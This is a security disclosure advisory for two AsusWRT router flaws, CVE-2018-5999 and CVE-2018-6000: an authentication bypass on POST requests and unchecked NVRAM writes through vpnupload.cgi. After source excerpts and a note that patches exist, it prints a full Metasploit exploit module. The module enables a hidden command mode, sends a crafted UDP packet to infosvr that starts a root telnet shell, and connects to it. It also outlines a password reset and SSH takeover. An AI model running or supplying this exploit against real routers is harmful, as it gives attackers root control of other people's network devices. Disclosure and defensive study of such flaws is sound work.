SSD Advisory – Hack2Win – Asus Unauthenticated LAN Remote Command Execution

Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in AsusWRT Version 3.0.0.4.380.7743. The combination of the vulnerabilities leads to LAN remote command execution on any Asus router.
AsusWRT is “THE POWERFUL USER-FRIENDLY INTERFACE – The enhanced ASUSWRT graphical user interface gives you easy access to the 30-second, 3-step web-based installation process. It’s also where you can configure AiCloud 2.0 and all advanced options. ASUSWRT is web-based, so it doesn’t need a separate app, or restrict what you can change via mobile devices — you get full access to everything, from any device that can run a web browser”
The vulnerabilities found are:

  • Access bypass
  • Configuration manipulation

Credit
An independent security researcher, Pedro Ribeiro (pedrib_at_gmail.com), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Asus were informed of the vulnerabilities and released patches to address them (version 3.0.0.4.384_10007).
For more details: https://www.asus.com/Static_WebPage/ASUS-Product-Security-Advisory/
CVE: CVE-2018-5999 and CVE-2018-6000

Vulnerabilities details
The AsusWRT handle_request() code allows an unauthenticated user to perform a POST request for certain actions.
AsusWRT_source/router/httpd/httpd.c:

handle_request(void)
{
...
					handler->auth(auth_userid, auth_passwd, auth_realm);
					auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);
					if (auth_result != 0)                                     <--- auth fails
					{
						if(strcasecmp(method, "post") == 0){
							if (handler->input) {
								handler->input(file, conn_fp, cl, boundary);        <--- but POST request is still processed
							}
							send_login_page(fromapp, auth_result, NULL, NULL, 0);
						}
						//if(!fromapp) http_logout(login_ip_tmp, cookies);
						return;
					}
...
}

By POSTing to vpnupload.cgi, we invoke do_vpnupload_post(), which sets NVRAM configuration values directly from the request.
AsusWRT_source/router/httpd/web.c:

do_vpnupload_post(char *url, FILE *stream, int len, char *boundary)
{
...
		if (!strncasecmp(post_buf, "Content-Disposition:", 20)) {
			if(strstr(post_buf, "name=\"file\""))
				break;
			else if(strstr(post_buf, "name=\"")) {
				offset = strlen(post_buf);
				fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
				len -= strlen(post_buf) - offset;
				offset = strlen(post_buf);
				fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
				len -= strlen(post_buf) - offset;
				p = post_buf;
				name = strstr(p, "\"") + 1;
				p = strstr(name, "\"");
				strcpy(p++, "\0");
				value = strstr(p, "\r\n\r\n") + 4;
				p = strstr(value, "\r");
				strcpy(p, "\0");
				//printf("%s=%s\n", name, value);
				nvram_set(name, value);
			}
		}
...
}

An attacker can trigger the vulnerabilities and reset the admin password.
Once that is done, the attacker can login to the web interface with the new password, enable SSH, reboot the router and login via SSH.
Another option is to abuse infosvr, which is a UDP daemon running on port 9999.
The daemon has a command mode which is only enabled if ateCommand_flag is set to 1.
This flag is only enabled in very special cases, but we can enable it using the VPN configuration upload technique described above.
Once that is done, all we need to do is send a PKT_SYSCMD to infosvr.
The daemon will read a command from the packet and execute it as root.

Packet structure (from AsusWRT_source/router/shared/iboxcom.h):
- Header
  typedef struct iboxPKTEx
  {
    BYTE		ServiceID;
    BYTE		PacketType;
    WORD		OpCode;
    DWORD 		Info; // Or Transaction ID
    BYTE		MacAddress[6];
    BYTE		Password[32];   //NULL terminated string, string length:1~31, cannot be NULL string
  } ibox_comm_pkt_hdr_ex;
- Body
  typedef struct iboxPKTCmd
  {
    WORD		len;
    BYTE		cmd[420];
  } PKT_SYSCMD;		// total 422 bytes

Proof of Concept

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Udp
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AsusWRT LAN Unauthenticated Remote Code Execution',
      'Description'    => %q{
      The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
      perform a POST in certain cases. This can be combined with another vulnerability in
      the VPN configuration upload routine that sets NVRAM configuration variables directly
      from the POST request to enable a special command mode.
      This command mode can then be abused by sending a UDP packet to infosvr, which is running
      on port UDP 9999 to directly execute commands as root.
      This exploit leverages that to start telnetd in a random port, and then connects to it.
      It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
      },
      'Author'         =>
        [
          'Beyond Security'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', 'add later'],
          ['Add', 'links']
        ],
      'Targets'        =>
        [
          [ 'AsusWRT < (add fixed version later)',
            {
              'Payload'        =>
                {
                  'Compat'  => {
                    'PayloadType'    => 'cmd_interact',
                    'ConnectionType' => 'find',
                  },
                },
            }
          ],
        ],
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => '',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(9999)
      ])
    register_advanced_options(
      [
        OptInt.new('ASUSWRTPORT', [true,  'AsusWRT HTTP portal port', 80])
      ])
  end
  def exploit
    # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
    # this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
    post_data = Rex::MIME::Message.new
    post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
    data = post_data.to_s
    res = send_request_cgi({
      'uri'    => "/vpnupload.cgi",
      'method' => 'POST',
      'rport'  => datastore['ASUSWRTPORT'],
      'data'   => data,
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
    })
    if res and res.code == 200
      print_good("#{peer} - Successfully set the ateCommand_flag variable.")
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
    end
    # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
    info_pdu_size = 512                         # expected packet size, not sure what the extra bytes are
    r = Random.new
    ibox_comm_pkt_hdr_ex  =
        [0x0c].pack('C*') +                     # NET_SERVICE_ID_IBOX_INFO	0xC
        [0x15].pack('C*') +                     # NET_PACKET_TYPE_CMD 0x15
        [0x33,0x00].pack('C*') +                # NET_CMD_ID_MANU_CMD 0x33
        r.bytes(4) +                            # Info, don't know what this is
        r.bytes(6) +                            # MAC address
        r.bytes(32)                             # Password
    telnet_port = rand((2**16)-1024)+1024
    cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
    pkt_syscmd =
        [cmd.length,0x00].pack('C*') +          # cmd length
        cmd                                     # our command
    pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
    connect_udp
    udp_sock.put(pkt_final)                     # we could process the response, but we don't care
    disconnect_udp
    print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
    sleep(10)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end
    print_bad("#{peer} - Well that didn't work... try again?")
  end
end